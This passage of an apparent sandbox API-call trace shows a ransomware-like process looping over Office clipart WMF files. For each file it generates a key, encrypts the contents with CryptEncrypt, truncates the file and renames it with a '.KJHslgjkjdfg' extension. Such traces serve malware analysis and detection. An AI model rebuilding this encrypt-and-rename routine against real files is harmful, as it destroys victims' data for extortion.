lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.517] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.517] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.517] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.517] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27e0, lpOverlapped=0x0) returned 1 [0216.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27e0) returned 1 [0216.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.518] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27e0, lpOverlapped=0x0) returned 1 [0216.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.519] SetEndOfFile (hFile=0x130) returned 1 [0216.521] GetProcessHeap () returned 0x2ef0000 [0216.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.521] GetProcessHeap () returned 0x2ef0000 [0216.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.kjhslgjkjdfg")) returned 1 [0216.523] CloseHandle (hObject=0x130) returned 1 [0216.523] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0216.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.524] GetProcessHeap () returned 0x2ef0000 [0216.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.524] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.525] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.527] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.527] GetProcessHeap () returned 0x2ef0000 [0216.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.527] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.527] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.528] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.528] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.528] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.528] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x918, lpOverlapped=0x0) returned 1 [0216.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920, dwBufLen=0x920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920) returned 1 [0216.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.528] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x920, lpOverlapped=0x0) returned 1 [0216.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.529] SetEndOfFile (hFile=0x130) returned 1 [0216.531] GetProcessHeap () returned 0x2ef0000 [0216.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.531] GetProcessHeap () returned 0x2ef0000 [0216.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.kjhslgjkjdfg")) returned 1 [0216.533] CloseHandle (hObject=0x130) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0216.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.535] GetProcessHeap () returned 0x2ef0000 [0216.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.536] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.538] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.539] GetProcessHeap () returned 0x2ef0000 [0216.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.539] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.539] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.540] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.540] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43c, lpOverlapped=0x0) returned 1 [0216.540] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x440, dwBufLen=0x440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x440) returned 1 [0216.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.540] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x440, lpOverlapped=0x0) returned 1 [0216.540] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.540] SetEndOfFile (hFile=0x130) returned 1 [0216.543] GetProcessHeap () returned 0x2ef0000 [0216.543] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.543] GetProcessHeap () returned 0x2ef0000 [0216.543] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.kjhslgjkjdfg")) returned 1 [0216.545] CloseHandle (hObject=0x130) returned 1 [0216.545] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0216.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.546] GetProcessHeap () returned 0x2ef0000 [0216.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.546] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.552] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.552] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.552] GetProcessHeap () returned 0x2ef0000 [0216.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.552] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.552] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.553] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.553] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.553] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x474, lpOverlapped=0x0) returned 1 [0216.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480, dwBufLen=0x480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480) returned 1 [0216.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.553] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x480, lpOverlapped=0x0) returned 1 [0216.554] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.554] SetEndOfFile (hFile=0x130) returned 1 [0216.556] GetProcessHeap () returned 0x2ef0000 [0216.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.556] GetProcessHeap () returned 0x2ef0000 [0216.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.kjhslgjkjdfg")) returned 1 [0216.558] CloseHandle (hObject=0x130) returned 1 [0216.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0216.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.560] GetProcessHeap () returned 0x2ef0000 [0216.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.560] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.562] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.562] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.563] GetProcessHeap () returned 0x2ef0000 [0216.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.563] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.563] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.563] 